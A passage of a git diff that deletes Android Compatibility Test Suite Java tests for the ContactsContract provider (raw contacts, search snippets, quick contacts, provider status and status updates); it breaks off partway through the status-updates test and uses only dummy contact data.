diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_ProviderStatus.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_ProviderStatus.java
deleted file mode 100644
index 9c38ec0..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_ProviderStatus.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.ProviderStatus;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.test.AndroidTestCase;
-
-/**
- * CTS tests for {@link android.provider.ContactsContract.ProviderStatus}.
- *
- * Unfortunately, we can't check that the value of ProviderStatus equals
- * {@link ProviderStatus#STATUS_EMPTY} initially. Some carriers pre-install
- * accounts. As a result, the value STATUS_EMPTY will never be achieved.
- */
-public class ContactsContract_ProviderStatus extends AndroidTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testProviderStatus_addedContacts() throws Exception {
-        // Setup: add a contact to CP2.
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "first1")
-                .with(StructuredName.FAMILY_NAME, "last1")
-                .insert();
-
-        // Execute: fetch CP2 status
-        Cursor cursor = mResolver.query(ProviderStatus.CONTENT_URI, null, null, null, null);
-
-        // Verify: CP2 status is normal instead of STATUS_EMPTY.
-        try {
-            assertEquals(1, cursor.getCount());
-            cursor.moveToFirst();
-            ContentValues values = new ContentValues();
-            values.put(ProviderStatus.STATUS, ProviderStatus.STATUS_NORMAL);
-            DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_QuickContactsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_QuickContactsTest.java
deleted file mode 100644
index 79633e7..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_QuickContactsTest.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentUris;
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.content.Intent;
-import android.graphics.Rect;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.UserHandle;
-import android.provider.Contacts;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.QuickContact;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.view.View;
-
-import java.util.Arrays;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class ContactsContract_QuickContactsTest extends InstrumentationTestCase {
-
-    final String EXCLUDED_MIME_TYPES[] = {"exclude1", "exclude2"};
-    final String PLAIN_MIME_TYPE = "text/plain";
-    final Uri FAKE_CONTACT_URI = ContentUris.withAppendedId(Contacts.CONTENT_URI, 0);
-
-    @UiThreadTest
-    public void testPrioritizedMimeTypeAndExcludedMimeTypes() throws InterruptedException {
-        final CountDownLatch latch = new CountDownLatch(2);
-        Context context = new ContextWrapper(getInstrumentation().getContext()) {
-            @Override
-            public void startActivity(Intent intent) {
-                testCallback(intent);
-            }
-
-            @Override
-            public void startActivityAsUser(Intent intent, UserHandle user) {
-                testCallback(intent);
-            }
-
-            @Override
-            public void startActivityAsUser(Intent intent, Bundle options, UserHandle user) {
-                testCallback(intent);
-            }
-
-            private void testCallback(Intent intent) {
-                assertEquals(PLAIN_MIME_TYPE, intent.getStringExtra(
-                        QuickContact.EXTRA_PRIORITIZED_MIMETYPE));
-                String excludedMimeTypes[]
-                        = intent.getStringArrayExtra(QuickContact.EXTRA_EXCLUDE_MIMES);
-                assertTrue(Arrays.equals(excludedMimeTypes, EXCLUDED_MIME_TYPES));
-                latch.countDown();
-            }
-        };
-
-        // Execute
-        ContactsContract.QuickContact.showQuickContact(context, new View(context),
-                FAKE_CONTACT_URI, EXCLUDED_MIME_TYPES, PLAIN_MIME_TYPE);
-        ContactsContract.QuickContact.showQuickContact(context, (Rect) null,
-                FAKE_CONTACT_URI, EXCLUDED_MIME_TYPES, PLAIN_MIME_TYPE);
-
-        // Verify: the start activity call sets the prioritized mimetype and excludes mimetypes.
-        // We don't know which method will be used to start the activity, so we check all options.
-        assertTrue(latch.await(1, TimeUnit.SECONDS));
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_RawContactsTest.java
deleted file mode 100644
index 49b3ff5..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_RawContactsTest.java
+++ /dev/null
@@ -1,239 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.CommonDatabaseUtils;
-import android.provider.cts.contacts.ContactUtil;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.RawContactUtil;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-public class ContactsContract_RawContactsTest extends AndroidTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    private static final String[] RAW_CONTACTS_PROJECTION = new String[]{
-            RawContacts._ID,
-            RawContacts.CONTACT_ID,
-            RawContacts.DELETED,
-            RawContacts.DISPLAY_NAME_PRIMARY,
-            RawContacts.DISPLAY_NAME_ALTERNATIVE,
-            RawContacts.DISPLAY_NAME_SOURCE,
-            RawContacts.PHONETIC_NAME,
-            RawContacts.PHONETIC_NAME_STYLE,
-            RawContacts.SORT_KEY_PRIMARY,
-            RawContacts.SORT_KEY_ALTERNATIVE,
-            RawContacts.TIMES_CONTACTED,
-            RawContacts.LAST_TIME_CONTACTED,
-            RawContacts.CUSTOM_RINGTONE,
-            RawContacts.SEND_TO_VOICEMAIL,
-            RawContacts.STARRED,
-            RawContacts.PINNED,
-            RawContacts.AGGREGATION_MODE,
-            RawContacts.RAW_CONTACT_IS_USER_PROFILE,
-            RawContacts.ACCOUNT_NAME,
-            RawContacts.ACCOUNT_TYPE,
-            RawContacts.DATA_SET,
-            RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
-            RawContacts.DIRTY,
-            RawContacts.SOURCE_ID,
-            RawContacts.BACKUP_ID,
-            RawContacts.VERSION,
-            RawContacts.SYNC1,
-            RawContacts.SYNC2,
-            RawContacts.SYNC3,
-            RawContacts.SYNC4
-    };
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testGetLookupUriBySourceId() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.SOURCE_ID, "source_id")
-                .insert();
-
-        // TODO remove this. The method under test is currently broken: it will not
-        // work without at least one data row in the raw contact.
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
-        assertNotNull("Could not produce a lookup URI", lookupUri);
-
-        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
-        assertEquals("Lookup URI matched the wrong contact",
-                lookupContact.getId(), rawContact.load().getContactId());
-    }
-
-    public void testGetLookupUriByDisplayName() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
-        assertNotNull("Could not produce a lookup URI", lookupUri);
-
-        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
-        assertEquals("Lookup URI matched the wrong contact",
-                lookupContact.getId(), rawContact.load().getContactId());
-    }
-
-    public void testRawContactDelete_setsDeleteFlag() {
-        long rawContactid = RawContactUtil.insertRawContact(mResolver,
-                StaticAccountAuthenticator.ACCOUNT_1);
-
-        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
-        RawContactUtil.delete(mResolver, rawContactid, false);
-
-        String[] projection = new String[]{
-                ContactsContract.RawContacts.CONTACT_ID,
-                ContactsContract.RawContacts.DELETED
-        };
-        String[] result = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
-                projection);
-
-        // Contact id should be null
-        assertNull(result[0]);
-        // Record should be marked deleted.
-        assertEquals("1", result[1]);
-    }
-
-    public void testRawContactDelete_removesRecord() {
-        long rawContactid = RawContactUtil.insertRawContact(mResolver,
-                StaticAccountAuthenticator.ACCOUNT_1);
-        assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
-        RawContactUtil.delete(mResolver, rawContactid, true);
-
-        assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
-        // already clean
-    }
-
-
-    // This implicitly tests the Contact create case.
-    public void testRawContactCreate_updatesContactUpdatedTimestamp() {
-        long startTime = System.currentTimeMillis();
-
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-        long lastUpdated = getContactLastUpdatedTimestampByRawContactId(mResolver,
-                ids.mRawContactId);
-
-        assertTrue(lastUpdated > startTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        ContentValues values = new ContentValues();
-        values.put(ContactsContract.RawContacts.STARRED, 1);
-        RawContactUtil.update(mResolver, ids.mRawContactId, values);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue(newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testRawContactPsuedoDelete_hasDeleteLogForContact() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        RawContactUtil.delete(mResolver, ids.mRawContactId, false);
-
-        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
-
-        // clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testRawContactDelete_hasDeleteLogForContact() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-
-        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
-
-        // already clean
-    }
-
-    private long getContactLastUpdatedTimestampByRawContactId(ContentResolver resolver,
-            long rawContactId) {
-        long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
-        MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND, contactId);
-
-        return ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
-    }
-
-    public void testProjection() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        DatabaseAsserts.checkProjection(mResolver, RawContacts.CONTENT_URI,
-                RAW_CONTACTS_PROJECTION,
-                new long[]{rawContact.getId()}
-        );
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_SearchSnippetsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_SearchSnippetsTest.java
deleted file mode 100644
index 847e357..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_SearchSnippetsTest.java
+++ /dev/null
@@ -1,272 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.Email;
-import android.provider.ContactsContract.CommonDataKinds.Note;
-import android.provider.ContactsContract.CommonDataKinds.Phone;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.CommonDataKinds.StructuredPostal;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.ContactsContract.SearchSnippets;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.test.InstrumentationTestCase;
-
-/**
- * CTS tests for {@link android.provider.ContactsContract.SearchSnippets} APIs.
- */
-public class ContactsContract_SearchSnippetsTest extends InstrumentationTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    public static String[] TEST_PROJECTION = new String[] {
-        Contacts._ID,
-        SearchSnippets.SNIPPET
-    };
-
-    public static ContentValues[] sContentValues = new ContentValues[3];
-    static {
-        ContentValues cv1 = new ContentValues();
-        cv1.put(Contacts.DISPLAY_NAME, "Hot Tamale");
-        sContentValues[0] = cv1;
-
-        ContentValues cv2 = new ContentValues();
-        cv2.put(Contacts.DISPLAY_NAME, "Cold Tamago");
-        sContentValues[1] = cv2;
-
-        ContentValues cv3 = new ContentValues();
-        cv3.put(Contacts.DISPLAY_NAME, "John Doe");
-        sContentValues[2] = cv3;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getInstrumentation().getTargetContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testSearchSnippets_NoMatch() throws Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("nomatch").build();
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids);
-    }
-
-    public void testSearchSnippets_MatchEmailAddressCorrectSnippet() throws Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("farm").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[1]);
-        expected.put(SearchSnippets.SNIPPET, "eggs@[farmers].org");
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    public void testSearchSnippets_MatchPhoneNumberCorrectSnippet() throws Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("510").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[0]);
-        expected.put(SearchSnippets.SNIPPET, "[510-123-5769]");
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    public void testSearchSnippets_MatchPostalAddressCorrectSnippet() throws Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("street").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[2]);
-        expected.put(SearchSnippets.SNIPPET, "123 Main [Street] Unit 3113\u2026");
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    public void testSearchSnippets_LongMatchTruncation() throws Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("over").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[2]);
-        expected.put(SearchSnippets.SNIPPET, "\u2026dog jumps [over] the quick\u2026");
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    public void testSearchSnippets_MultipleMatchesCorrectSnippet() throws Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("123").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[1]);
-        expected.put(SearchSnippets.SNIPPET, "[123-456-7890]");
-
-        final ContentValues expected2 = new ContentValues();
-        expected2.put(Contacts._ID, ids[2]);
-        expected2.put(SearchSnippets.SNIPPET, "[123] Main Street Unit 3113\u2026");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected, expected2);
-    }
-
-    /**
-     * Tests that if deferred snippeting is indicated, the provider will not perform formatting
-     * of the snippet for a single word query.
-     */
-    public void testSearchSnippets_DeferredSnippetingSingleWordQuerySnippetDeferred() throws
-            Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendQueryParameter(SearchSnippets.DEFERRED_SNIPPETING_KEY, "1")
-                .appendPath("510").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[0]);
-        expected.put(SearchSnippets.SNIPPET, "510-123-5769");
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    /**
-     * Tests that even if deferred snippeting is indicated, a multi-word query will have formatting
-     * of the snippet done by the provider using SQLite
-     */
-    public void testSearchSnippets_DeferredSnippetingMultiWordQuerySnippetNotDeferred() throws
-            Exception {
-        long[] ids = setupTestData();
-        final Uri uri = ContactsContract.Contacts.CONTENT_FILTER_URI.buildUpon()
-                .appendQueryParameter(SearchSnippets.DEFERRED_SNIPPETING_KEY, "1")
-                .appendPath("jumps over").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(Contacts._ID, ids[2]);
-        expected.put(SearchSnippets.SNIPPET, "\u2026lazy dog [jumps] [over] the\u2026");
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    /**
-     * Given a uri, performs a query on the contacts provider for that uri and asserts that the
-     * cursor returned from the query matches the expected results.
-     *
-     * @param uri Uri to perform the query for
-     * @param contactsId Array of contact IDs that serves as an additional filter on the result
-     * set. This is needed to limit the output to temporary test contacts that were created for
-     * purposes of the test, so that the tests do not fail on devices with existing contacts on
-     * them
-     * @param expected An array of ContentValues corresponding to the expected output of the query
-     */
-    private void assertCursorStoredValuesWithContactsFilter(Uri uri, long[] contactsId,
-            ContentValues... expected) {
-        // We need this helper function to add a filter for specific contacts because
-        // otherwise tests will fail if performed on a device with existing contacts data
-        StringBuilder sb = new StringBuilder();
-        sb.append(Contacts._ID + " in ");
-        sb.append("(");
-        for (int i = 0; i < contactsId.length; i++) {
-            if (i != 0) sb.append(",");
-            sb.append(contactsId[i]);
-        }
-        sb.append(")");
-        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, TEST_PROJECTION,
-                sb.toString(), null, null, false, expected);
-    }
-
-    /**
-     * Setup the contacts database with temporary contacts used for testing. These contacts will be
-     * removed during teardown.
-     *
-     * @return An array of long values corresponding to the ids of the created contacts
-     * @throws Exception
-     */
-    private long[] setupTestData() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
-                .insert();
-        rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "510-123-5769")
-                .with(Email.TYPE, Phone.TYPE_HOME)
-                .insert().load().getId();
-        rawContact.load();
-        TestContact contact = rawContact.getContact().load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
-                .insert();
-        rawContact2.newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "eggs@farmers.org")
-                .with(Email.TYPE, Email.TYPE_HOME)
-                .insert().load();
-        rawContact2.newDataRow(Phone.CONTENT_ITEM_TYPE)
-        .with(Phone.DATA, "123-456-7890")
-        .with(Phone.TYPE, Phone.TYPE_OTHER)
-        .insert().load();
-
-        rawContact2.load();
-        TestContact contact2 = rawContact2.getContact().load();
-
-        TestRawContact rawContact3 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "John Doe")
-                .insert();
-        rawContact3.newDataRow(StructuredPostal.CONTENT_ITEM_TYPE)
-                .with(StructuredPostal.DATA, "123 Main Street Unit 3113")
-                .with(StructuredPostal.TYPE, StructuredPostal.TYPE_HOME)
-                .insert().load().getId();
-        rawContact3.newDataRow(Note.CONTENT_ITEM_TYPE)
-                .with(Note.NOTE, "The lazy dog jumps over the quick brown fox.")
-                .insert().load();
-        rawContact3.load();
-        TestContact contact3 = rawContact3.getContact().load();
-
-        return new long[] {
-                contact.getId(), contact2.getId(), contact3.getId()
-        };
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_StatusUpdatesTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_StatusUpdatesTest.java
deleted file mode 100644
index 375d7b2..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_StatusUpdatesTest.java
+++ /dev/null
@@ -1,189 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderOperation;
-import android.content.ContentProviderResult;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.Im;
-import android.provider.ContactsContract.Data;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.ContactsContract.StatusUpdates;
-import android.test.AndroidTestCase;
-
-import java.util.ArrayList;
-
-public class ContactsContract_StatusUpdatesTest extends AndroidTestCase {
-
-    private static final String ACCOUNT_TYPE = "android.provider.cts";
-    private static final String ACCOUNT_NAME = "ContactsContract_StatusUpdatesTest";
-
-    private ContentResolver mResolver;
-    private long dataId;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = mContext.getContentResolver();
-
-        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
-
-        ops.add(ContentProviderOperation.newInsert(RawContacts.CONTENT_URI)
-                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
-                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
-                .build());
-
-        ops.add(ContentProviderOperation.newInsert(Data.CONTENT_URI)
-                .withValueBackReference(Data.RAW_CONTACT_ID, 0)
-                .withValue(Data.MIMETYPE, Im.CONTENT_ITEM_TYPE)
-                .withValue(Im.TYPE, Im.TYPE_HOME)
-                .withValue(Im.PROTOCOL, Im.PROTOCOL_GOOGLE_TALK)
-                .build());
-
-        ContentProviderResult[] results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
-        assertNotNull(results[0].uri);
-        assertNotNull(results[1].uri);
-
-        dataId = ContentUris.parseId(results[1].uri);
-    }
-
-    public void testInsertStatus() throws Exception {
-        Uri uri = insertStatusUpdate(dataId, StatusUpdates.DO_NOT_DISTURB, null, null);
-        assertPresence(uri, StatusUpdates.DO_NOT_DISTURB);
-        assertStatus(uri, null);
-        assertHasTimestamp(uri, false);
-        assertRowCount(uri, 1);
-
-        Uri uri2 = insertStatusUpdate(dataId, StatusUpdates.AVAILABLE, null, null);
-        assertEquals(uri, uri2);
-
-        assertPresence(uri, StatusUpdates.AVAILABLE);
-        assertStatus(uri, null);
-        assertHasTimestamp(uri, false);
-        assertRowCount(uri, 1);
-
-        Uri uri3 = insertStatusUpdate(dataId, StatusUpdates.AWAY, "Grabbing a byte", null);
-        assertEquals(uri2, uri3);
-
-        assertPresence(uri, StatusUpdates.AWAY);
-        assertStatus(uri, "Grabbing a byte");
-        assertHasTimestamp(uri, false);
-        assertRowCount(uri, 1);
-
-        // Inserting a new status message causes a timestamp to be inserted
-        Uri uri4 = insertStatusUpdate(dataId, StatusUpdates.IDLE, "Taking a bit of a break", null);
-        assertEquals(uri3, uri4);
-
-        assertPresence(uri, StatusUpdates.IDLE);
-        assertStatus(uri, "Taking a bit of a break");
-        assertHasTimestamp(uri, true);
-        assertRowCount(uri, 1);
-    }
-
-    private Uri insertStatusUpdate(long dataId, int presence, String status, Long timestamp)
-            throws Exception {
-        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
-        ops.add(ContentProviderOperation.newInsert(StatusUpdates.CONTENT_URI)
-                .withValue(StatusUpdates.DATA_ID, dataId)
-                .withValue(StatusUpdates.PRESENCE, presence)
-                .withValue(StatusUpdates.STATUS, status)
-                .withValue(StatusUpdates.STATUS_TIMESTAMP, timestamp)
-                .withValue(StatusUpdates.PROTOCOL, Im.PROTOCOL_GOOGLE_TALK)
-                .withValue(StatusUpdates.IM_HANDLE, "mrBugDroid1337")
